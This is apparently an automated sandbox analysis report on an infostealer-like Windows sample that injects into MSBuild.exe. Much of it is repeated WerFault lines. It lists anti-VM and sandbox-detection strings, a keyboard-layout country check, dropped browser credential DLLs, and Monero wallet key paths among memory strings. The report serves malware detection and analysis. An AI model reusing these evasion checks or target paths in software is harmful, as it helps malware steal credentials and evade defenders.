Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 8.2.22594e132764.exe.86dad8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.22594e132764.exe.86dad8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.22594e132764.exe.86dad8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.22594e132764.exe.840000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.22594e132764.exe.840000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.22594e132764.exe.86dad8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2414047630.000000000086D000.00000004.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 22594e132764.exe PID: 6980, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 3924, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 22594e132764.exe PID: 7656, type: MEMORYSTR

Country aware sample found (crashes after keyboard check)

Source: c:\users\user\desktop\witqtf1aie.exe

Event Logs and Signature results: Application crash and keyboard check

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 22594e132764.exe	Binary or memory string: DIR_WATCH.DLL
Source: 22594e132764.exe	Binary or memory string: SBIEDLL.DLL
Source: 22594e132764.exe	Binary or memory string: API_LOG.DLL
Source: 22594e132764.exe, 0000000D.00000002.2414047630.000000000086D000.00000004.00000001.01000000.00000008.sdmp	Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\.\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL21:49:5921:49:5921:49:5921:49:5921:49:5921:49:59DELAYS.TMP%S%SNTDLL.DLL

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: OpenInputDesktop,SetThreadDesktop,GetCursorPos,GetCursorPos,Sleep,Sleep,GetCursorPos,Sleep,Sleep,GetCursorPos,

9_2_0040180D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\sql[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	API coverage: 9.1 %
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	API coverage: 4.0 %
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	API coverage: 5.3 %

Source: C:\Windows\SysWOW64\timeout.exe TID: 8116

Thread sleep count: 83 > 30

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 9_2_00410DDB GetKeyboardLayoutList followed by cmp: cmp eax, ebx and CTI: jbe 00410EEEh

9_2_00410DDB

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: 0_2_005B9ABF FindFirstFileExW,	0_2_005B9ABF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00406212 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,___std_fs_close_handle@4,	2_2_00406212
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_00859ABF FindFirstFileExW,	8_2_00859ABF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0041543D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	9_2_0041543D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00414CC8 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,strtok_s,FindNextFileA,FindClose,	9_2_00414CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	9_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	9_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	9_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	9_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	9_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00415FD1 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	9_2_00415FD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	9_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00415B0B GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	9_2_00415B0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	9_2_0040CD37
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_00859ABF FindFirstFileExW,	13_2_00859ABF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 9_2_00415142 GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

9_2_00415142

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 9_2_00410FBA GetSystemInfo,wsprintfA,

9_2_00410FBA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Temp\IDSM	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: MSBuild.exe, 00000002.00000002.2104347733.0000000001118000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWv
Source: Amcache.hve.5.dr	Binary or memory string: VMware
Source: BKEBFH.9.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: BKEBFH.9.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: BKEBFH.9.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: MSBuild.exe, 00000002.00000002.2104347733.0000000001178000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2633668916.00000000014D4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000002.2704953389.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BKEBFH.9.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: MSBuild.exe, 0000000E.00000002.2704953389.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware-
Source: Amcache.hve.5.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: BKEBFH.9.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Amcache.hve.5.dr	Binary or memory string: vmci.sys
Source: BKEBFH.9.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: BKEBFH.9.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: BKEBFH.9.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: BKEBFH.9.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: BKEBFH.9.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.5.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: MSBuild.exe, 0000000E.00000002.2704953389.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Amcache.hve.5.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: BKEBFH.9.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: MSBuild.exe, 00000009.00000002.2633668916.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.5.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual RAM
Source: MSBuild.exe, 0000000E.00000002.2704953389.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0>
Source: Amcache.hve.5.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: BKEBFH.9.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: MSBuild.exe, 00000002.00000002.2104347733.000000000114F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX\
Source: Amcache.hve.5.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: BKEBFH.9.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: BKEBFH.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.5.dr	Binary or memory string: VMware, Inc.
Source: BKEBFH.9.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: MSBuild.exe, 00000009.00000002.2633668916.00000000014D4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.5.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.5.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: BKEBFH.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Amcache.hve.5.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: BKEBFH.9.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: BKEBFH.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: BKEBFH.9.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Amcache.hve.5.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: BKEBFH.9.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
